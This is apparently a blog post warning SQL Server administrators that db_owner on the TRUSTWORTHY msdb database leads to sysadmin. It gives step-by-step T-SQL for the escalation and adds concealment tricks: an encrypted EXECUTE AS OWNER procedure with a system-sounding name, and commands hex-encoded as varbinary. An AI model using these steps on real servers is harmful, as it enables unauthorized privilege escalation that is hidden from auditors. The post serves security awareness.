I wanted to talk today about something that I have often seen in environments which is that dbo is granted to msdb without a second thought to the exact implications.
So what? Its not got any user data in it, and they need dbo to perform some action not covered by the existing security to do with job(s)/agent management. (Probably a lazy permission grant in all honesty)
The issue that occurs is basically that although you have granted dbo, they have in fact got SA. First when installing SQL Server the msdb database is created with “TRUSTWORTY ON” and secondarily the system databases are owned by SA.
But why is this an issue? Because all that is needed is for a malicious user with dbo to create a very simple procedure using “EXECUTE AS OWNER”. Now as SQL Server has TRUSTWORTHY set for msdb what happens is that we can now escalate to SA.
1. Create a user (or use an existing one with permission of dbo on msdb)
USE [msdb] CREATE USER Gur WITHOUT LOGIN GO ALTER ROLE [db_owner] ADD MEMBER [Gur]
2. Test Access
USE [msdb] EXECUTE AS USER='Gur' PRINT SUSER_SNAME() CREATE DATABASE j0 REVERT PRINT SUSER_SNAME()
So this errors, because we do not have the permission to create a database we just have dbo. “Msg 262, Level 14, State 1, Line 3 CREATE DATABASE permission denied in database ‘master’.”
3. Adding a procedure with EXECUTE AS OWNER on a TRUSTWORTHY database.
Lets create a procedure to do what ever we want… Here is one in which I will also encrypt the definition to hide the evilness.
CREATE PROCEDURE msdb_purge @SQL NVARCHAR(4000) WITH ENCRYPTION,EXECUTE AS OWNER AS EXEC sp_executesql @sql
4. Lets try it out
USE [msdb] EXECUTE AS USER='Gur' PRINT SUSER_SNAME() EXEC msdb_purge 'CREATE DATABASE j1' REVERT PRINT SUSER_SNAME()
… Command(s) completed successfully.
5. Finally as we want to hide what we are doing lets cast the command to varbinary which will be accepted by our procedure. (Drop database created above)
USE [msdb] EXECUTE AS USER='Gur' PRINT SUSER_SNAME() EXEC msdb_purge 0x43005200450041005400450020004400410054004100420041005300450020006A00 --SELECT CAST(N'CREATE DATABASE j2' AS VARBINARY(8000)) REVERT PRINT SUSER_SNAME()
In the above I have hidden the definition, as well as the command being run. I have also given it a nice system sounding name to make it less likely to be picked up. I suppose I could also mark it as a system object. (sys.sp_MS_MarkSystemObject)
TRUSTWORTHY + dbo = I can be the whoever owns that database. Nobody has freely granted dbo in msdb for your default install of SQL Server right?